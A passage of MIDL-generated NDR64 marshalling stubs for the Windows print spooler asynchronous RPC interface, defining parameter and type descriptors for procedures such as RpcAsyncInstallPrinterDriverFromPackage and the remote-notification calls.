0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcchDestInfPath */      /* parameter pcchDestInfPath */\n        &__midl_frag1065,\n        { \n        /* pcchDestInfPath */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1065,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag930_t __midl_frag930 =\n{ \n/* RpcAsyncInstallPrinterDriverFromPackage */\n    { \n    /* RpcAsyncInstallPrinterDriverFromPackage */      /* procedure RpcAsyncInstallPrinterDriverFromPackage */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag942,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszInfPath */      /* parameter pszInfPath */\n        &__midl_frag942,\n        { \n        /* pszInfPath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszDriverName */      /* parameter pszDriverName */\n        &__midl_frag947,\n        { \n        /* pszDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag947,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* dwFlags */      /* parameter dwFlags */\n        &__midl_frag948,\n        { \n        /* dwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag948,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag928_t __midl_frag928 =\n{ \n/* *RpcPrintPropertiesCollection */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag871\n};\n\nstatic const __midl_frag927_t __midl_frag927 =\n{ \n/* **RpcPrintPropertiesCollection */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag926_t __midl_frag926 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag925_t __midl_frag925 =\n{ \n/* RpcAsyncGetRemoteNotifications */\n    { \n    /* RpcAsyncGetRemoteNotifications */      /* procedure RpcAsyncGetRemoteNotifications */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hRpcHandle */      /* parameter hRpcHandle */\n        &__midl_frag926,\n        { \n        /* hRpcHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ppNotifyData */      /* parameter ppNotifyData */\n        &__midl_frag927,\n        { \n        /* ppNotifyData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag948,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag921_t __midl_frag921 =\n{ \n/* *RpcPrintPropertiesCollection */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag871\n};\n\nstatic const __midl_frag919_t __midl_frag919 =\n{ \n/* RpcSyncRefreshRemoteNotifications */\n    { \n    /* RpcSyncRefreshRemoteNotifications */      /* procedure RpcSyncRefreshRemoteNotifications */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hRpcHandle */      /* parameter hRpcHandle */\n        &__midl_frag926,\n        { \n        /* hRpcHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pNotifyFilter */      /* parameter pNotifyFilter */\n        &__midl_frag871,\n        { \n        /* pNotifyFilter */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ppNotifyData */      /* parameter ppNotifyData */\n        &__midl_frag927,\n        { \n        /* ppNotifyData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1065,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag917_t __midl_frag917 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag916_t __midl_frag916 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag917\n};\n\nstatic const __midl_frag915_t __midl_frag915 =\n{ \n/* RpcSyncUnRegisterForRemoteNotifications */\n    { \n    /* RpcSyncUnRegisterForRemoteNotifications */      /* procedure RpcSyncUnRegisterForRemoteNotifications */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phRpcHandle */      /* parameter phRpcHandle */\n        &__midl_frag917,\n        { \n        /* phRpcHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1103,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag913_t __midl_frag913 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag912_t __midl_frag912 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag913\n};\n\nstatic const __midl_frag911_t __midl_frag911 =\n{ \n/*  */\n    { \n    /* *RpcPrintNamedProperty */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag872\n    }\n};\n\nstatic const __midl_frag910_t __midl_frag910 =\n{ \n/*  */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag902\n    }\n};\n\nstatic const __midl_frag909_t __midl_frag909 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag908_t __midl_frag908 =\n{ \n/* *short */\n    { \n    /* *short */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *short */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag909\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag906\n    }\n};\n\nstatic const __midl_frag907_t __midl_frag907 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *short */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 32 /* 0x20 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag908\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag906_t __midl_frag906 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag903_t __midl_frag903 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag902_t __midl_frag902 =\n{ \n/* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag903\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 16 /* 0x10 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *short */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 32 /* 0x20 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag908\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag907\n    }\n};\n\nstatic const __midl_frag901_t __midl_frag901 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag910,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag900_t __midl_frag900 =\n{ \n/* NOTIFY_OPTIONS_CONTAINER */\n    { \n    /* NOTIFY_OPTIONS_CONTAINER */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* NOTIFY_OPTIONS_CONTAINER */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *RPC_V2_NOTIFY_OPTIONS */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag901\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag899_t __midl_frag899 =\n{ \n/*  */\n    { \n    /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n        0x40,    /* FC64_FIX_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag898_t __midl_frag898 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag895\n    }\n};\n\nstatic const __midl_frag897_t __midl_frag897 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag896_t __midl_frag896 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag895_t __midl_frag895 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag896\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag894_t __midl_frag894 =\n{ \n/* STRING_CONTAINER */\n    { \n    /* STRING_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* STRING_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag898,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag893_t __midl_frag893 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x1b,    /* OP_AND */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 65535 /* 0xffff */\n    }\n};\n\nstatic const __midl_frag892_t __midl_frag892 =\n{ \n/* RPC_V2_NOTIFY_INFO_DATA_DATA */\n    { \n    /* RPC_V2_NOTIFY_INFO_DATA_DATA */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag893,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag894,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag899,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag884,\n        (NDR64_UINT32) 0 /* 0x0 */\n    